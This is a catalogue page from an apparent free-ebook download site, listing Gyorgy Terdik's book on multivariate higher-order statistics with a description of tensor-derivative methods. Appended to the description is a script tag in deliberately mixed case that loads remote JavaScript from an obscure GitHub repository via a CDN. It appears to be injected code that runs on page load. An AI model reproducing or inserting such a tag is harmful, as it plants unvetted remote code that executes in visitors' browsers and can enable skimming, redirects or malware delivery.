Category:
Statistics
Multivariate Statistical Methods: Going Beyond the Linear (Frontiers in Probability and the Statistical Sciences) free ebook download
Author(s):
Gyorgy Terdik
Language:
English
ISBN/ASIN:
3030813916
Publisher:
Date:
21 December, 2021
ISBN13:
9783030813918
This book has been deleted by request of copyrightholders. No links are available.
Description:
This book presents a general method for deriving higher-order statistics of multivariate distributions with simple algorithms that allow for actual calculations. Multivariate nonlinear statistical models require the study of higher-order moments and cumulants. The main tool used for the definitions is the tensor derivative, leading to several useful expressions concerning Hermite polynomials, moments, cumulants, skewness, and kurtosis. A general test of multivariate skewness and kurtosis is obtained from this treatment. Exercises are provided for each chapter to help the readers understand the methods. Lastly, the book includes a comprehensive list of references, equipping readers to explore further on their own. <sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>
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